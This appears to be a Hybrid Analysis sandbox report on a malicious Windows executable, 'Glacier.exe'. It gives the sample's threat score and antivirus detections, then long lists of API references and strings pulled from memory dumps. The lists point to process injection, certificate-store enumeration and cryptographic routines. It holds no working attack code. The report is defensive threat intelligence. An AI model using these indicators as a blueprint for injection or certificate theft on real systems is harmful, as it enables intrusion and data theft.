24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 64:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4f9,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_90% Sample 8995859db6a5… — Score 88/100 — Hybrid Analysis","description":"Malicious verdict for sample 8995859db6a5…. Malware family: Win/malicious_confidence_90%. Threat score 88/100. 4/24 AV engines flagged this file. 16 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","keywords":["Malicious","Win/malicious_confidence_90%","malware analysis","sandbox report","threat intelligence","8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce"],"about":{"@type":"SoftwareApplication","name":"8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","applicationCategory":["peexe","64bits","executable"],"identifier":"8995859db6a51656cb461338eaaf2de8ccd675b2f769b23638cdd23ae13400ce","additionalType":"Malicious sample"},"threatScore":88,"malwareFamily":"Win/malicious_confidence_90%","antivirusDetections":{"malicious":4,"total":24},"behavioralIndicators":{"malicious":16,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1287,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "Glacier.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "Glacier.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "Glacier.exe") file/memory contains long string with (Indicator: "VirtualFree"; File: "Glacier.exe") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "Glacier.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "VirtualAllocGe" (Indicator: "VirtualAlloc"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "CreateThreadRelaCreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "VirtualAllocRelaVirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "RelaVirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "VirtualFree failed" (Indicator: "VirtualFree"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "VirtualAlloc2" (Indicator: "VirtualAlloc"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "MOZ_CRASH(VirtualFree failed)" (Indicator: "VirtualFree"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API ": (malloc) Error in VirtualFree()" (Indicator: "VirtualFree"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "PR_CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_CreateThreadGCAble" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_CreateThreadPool" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "_PR_CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "_PR_NativeCreateThread" (Indicator: "CreateThread"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")26:T51a,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "Glacier.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "Glacier.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "Glacier.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "Glacier.exe") file/memory contains long string with (Indicator: "OpenThread"; File: "Glacier.exe") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp")27:Tb87,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "Glacier.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "Glacier.exe") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "Glacier.exe") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "Glacier.exe") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "Glacier.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001176.00000000.167448.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.00400000.00000004.mdmp, 00000000-00001176.00000001.167729.40000000.00000040.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001176.00000001.167729.6E434000.00000002.mdmp, 00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp") Found reference to API "?GetQueryPerformanceFrequencyPerSec@mozilla@@YA_KXZ" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp")28:Taec,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "Glacier.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "Glacier.exe") file/memory contains long string with (Indicator: "FreeLibrary"; File: "Glacier.exe") file/memory contains long string with (Indicator: "LoadLibrary"; File: "Glacier.exe") Found reference to API "runtime.getLoadLibraryEx" (Indicator: "LoadLibrary"; File: "Glacier.exe") Found reference to API "runtime.getLoadLibrary" (Indicator: "LoadLibrary"; File: "Glacier.exe") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "Glacier.exe") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "Glacier.exe") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "Glacier.exe") Found reference to API "nelnel32.32.dldllLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_FreeLibraryName" (Indicator: "FreeLibrary"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_LoadLibraryWithFlags" (Indicator: "LoadLibrary"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.79ACB000.00000002.mdmp")29:T9e5,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "Glacier.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "Glacier.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; File: "Glacier.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; File: "Glacier.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00001176.00000001.167729.00080000.00000004.mdmp") Found string "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=/?|" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found string "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")2a:Tf89,file/memory contains long string with (Indicator: "HMAC"; File: "akg_362d94e6_a.tmp") Found reference to "runtime.useAeshash" (Indicator: "Aes"; File: "Glacier.exe") Found reference to "HKDF" (Indicator: "HKDF"; Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found reference to "TLS_AES_256_GCM_SHA384" (Indicator: "SHA384"; Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp") Found reference to "CDSA/SHA384" (Indicator: "SHA384"; Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp, 00000000-00001176.00000001.167729.74510000.00000004.mdmp") file/memory contains long string with (Indicator: "Oid"; Source: "00000000-00001176.00000001.167729.00400000.00000004.mdmp") Found reference to "runtime.useAeshash" (Indicator: "Aes"; Source: "00000000-00001176.00000001.167729.0118E000.00000002.mdmp") Found reference to "CMS RC2 Key Wrap" (Indicator: "RC2"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "slotFlags=[ECC,RSA,DSA,DH,RC2,RC4,DES,RANDOM,SHA1,MD5,MD2,SSL,TLS,AES,Camellia,SEED,SHA256,SHA512]" (Indicator: "RC2"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "slotFlags=[ECC,RSA,DSA,DH,RC2,RC4,DES,RANDOM,SHA1,MD5,MD2,SSL,TLS,AES,Camellia,SEED,SHA256,SHA512]" (Indicator: "SHA512"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA384_RSA_PKCS_PSS" (Indicator: "SHA384"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA512_RSA_PKCS_PSS" (Indicator: "SHA512"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA384_RSA_PKCS" (Indicator: "SHA384"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA512_RSA_PKCS" (Indicator: "SHA512"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA384_KEY_DERIVATION" (Indicator: "SHA384"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA512_KEY_DERIVATION" (Indicator: "SHA512"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_RC2_KEY_GEN" (Indicator: "RC2"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_RC2_MAC_GENERAL" (Indicator: "RC2"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_RIPEMD128_HMAC_GENERAL" (Indicator: "HMAC"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA256_HMAC_GENERAL" (Indicator: "HMAC"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_MD5_HMAC_GENERAL" (Indicator: "HMAC"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA384_HMAC_GENERAL" (Indicator: "HMAC"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA384_HMAC_GENERAL" (Indicator: "SHA384"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA224_HMAC_GENERAL" (Indicator: "HMAC"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_MD2_HMAC_GENERAL" (Indicator: "HMAC"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA512_HMAC_GENERAL" (Indicator: "HMAC"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA512_HMAC_GENERAL" (Indicator: "SHA512"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to "CKM_SHA_1_HMAC_GENERAL" (Indicator: "HMAC"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")2b:T5b77,Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchnot pollablegotypesaliashttpmuxgo121multipathtcprandautoseedtlsunsafeekm3814697265625level 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameGetTempPath2WModule32NextWwakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitout of memory is nil, not value method bad map state span.base()=bad flushGen , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= runtime: pid=: unknown pc called from gocacheverifyinstal" (Indicator: "CertOpenStore"; File: "Glacier.exe") Found api reference "lgoroothtml/templatetlsmaxrsasizeRegDeleteKeyWRegEnumValueW1907348632812595367431640625file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error # on zero Valueunknown methodunsafe.PointerOpenSCManagerWModule32FirstWuserArenaStateread mem statsallocfreetracegcstoptheworldGC assist waitfinalizer waitsync.Cond.Waits.allocCount= nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated timeEndPeriod" (Indicator: "CertCloseStore"; File: "Glacier.exe") Found api reference "lgoroothtml/templatetlsmaxrsasizeRegDeleteKeyWRegEnumValueW1907348632812595367431640625file too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error # on zero Valueunknown methodunsafe.PointerOpenSCManagerWModule32FirstWuserArenaStateread mem statsallocfreetracegcstoptheworldGC assist waitfinalizer waitsync.Cond.Waits.allocCount= nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated timeEndPeriod" (Indicator: "CryptGenRandom"; File: "Glacier.exe") Found api reference "xtAddr frames elided..., locked to threadruntime.semacreateruntime.semawakeupuse of closed filereflect.Value.IsNilreflect.Value.FloatWaitForSingleObject14901161193847656257450580596923828125bad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdreflect.Value.Bytesreflect.Value.Fieldreflect.Value.IndexSetTokenInformationMultiByteToWideCharGC mark terminationpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesbad kind in runfinqmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g st" (Indicator: "CryptReleaseContext"; File: "Glacier.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptiondodeltimer: wrong Padjusttimers: bad pfile already existsfile does not existfile already closedmultipartmaxheaders37252902984619140625invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsGetAdaptersAddressesGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesmalloc during signalclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: do" (Indicator: "CertOpenSystemStoreW"; File: "Glacier.exe") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptiondodeltimer: wrong Padjusttimers: bad pfile already existsfile does not existfile already closedmultipartmaxheaders37252902984619140625invalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsGetAdaptersAddressesGetProcessMemoryInfobcryptprimitives.dllfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesmalloc during signalclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span/gc/scan/stack:bytes/gc/scan/total:bytes/gc/heap/frees:bytes/gc/gomemlimit:bytesp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bpruntime: do" (Indicator: "CryptAcquireContextW"; File: "Glacier.exe") Found api reference "wer of 2minpc or maxpc invalidcompileCallback: type non-Go function at pc=23283064365386962890625device or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWreflect.Value.Interfacereflect.Value.NumMethodDestroyEnvironmentBlockindex out of range [%x]ReadMemStatsSlow (test)runtimecontentionstackschan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channel) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelems/gc/heap/allocs:objectsmissing type in runfinqruntime: internal errorwork.nwait > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedRtlGetNtVersionNumbers" (Indicator: "CertGetCertificateChain"; File: "Glacier.exe") Found api reference "panic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksinvalid m->lockedInt = procresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportpattern bits too long: 116415321826934814453125582076609134674072265625connection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWhash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCupdate during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlapsstack trace unavailablebindm in unexpected GOOSrunqsteal: runq overflowdoubl" (Indicator: "CertFreeCertificateChain"; File: "Glacier.exe") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartinconsistent poll.fdMutexGODEBUG: can not enable "ExpandEnvironmentStringsWGetFileInformationByHandle1455191522836685180664062572759576141834259033203125invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusunknown ABI parameter kindSetFileInformationByHandleall goroutines stack tracecall from unknown functionnotewakeup - double wakeuppersistentalloc: s" (Indicator: "CertFreeCertificateContext"; File: "Glacier.exe"), Found api reference "ize == 0/gc/cycles/total:gc-cyclesnegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=freedefer with d.fn != nilforEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meentersyscall inconsistent inittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory363797880709171295166015625channel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorereflect.Value.UnsafePointerPageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedruntime" (Indicator: "CertEnumCertificatesInStore"; File: "Glacier.exe"), Found api reference "unlock: lock countprogToPointerMask: overflow/gc/cycles/forced:gc-cycles/memory/classes/other:bytes/memory/classes/total:bytesfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: corrupted polldescruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcinternal lockOSThread errorruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked 